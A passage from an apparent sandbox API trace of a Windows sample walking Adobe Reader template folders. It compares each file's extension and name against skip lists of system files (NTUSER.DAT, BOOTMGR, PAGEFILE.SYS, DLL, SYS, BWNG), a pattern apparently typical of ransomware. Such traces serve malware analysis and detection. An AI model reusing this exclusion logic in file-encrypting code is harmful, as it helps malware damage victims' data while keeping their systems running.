10.0\\READER\\IDTEMPLATES\\EUQ\\") returned 0x40 [0029.724] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\EUQ\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cfb2f60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cfb2f60, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.724] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.725] CharUpperBuffW (in: lpsz="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", cchLength=0x26 | out: lpsz="C:\\USERS\\5P5NRGJN0JS HALPMCXZ\\DESKTOP\\") returned 0x26 [0029.725] CharUpperBuffW (in: lpsz="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\", cchLength=0x40 | out: lpsz="C:\\PROGRAM FILES (X86)\\ADOBE\\READER 10.0\\READER\\IDTEMPLATES\\FRA\\") returned 0x40 [0029.725] CharUpperBuffW (in: lpsz="\\PERFLOGS\\", cchLength=0xa | out: lpsz="\\PERFLOGS\\") returned 0xa [0029.725] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805b4280, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.726] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.727] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.728] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.728] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.728] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.729] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 1 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="DEFAULTID.PDF", cchCount2=13) returned 3 [0029.730] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.730] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80a2abc0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="PDF", cchCount2=3) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="PDF", cchCount2=3) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="PDF", cchCount2=3) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="PDF", cchCount2=3) returned 1 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="PDF", cchCount2=3) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="PDF", cchCount2=3) returned 1 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.732] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="ADOBEID.PDF", cchCount2=11) returned 3 [0029.732] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.732] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.732] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 [0029.733] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*.*", lpFindFileData=0x18e754 | out: lpFindFileData=0x18e754*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x718798 [0029.733] FindClose (in: hFindFile=0x718798 | out: hFindFile=0x718798) returned 1 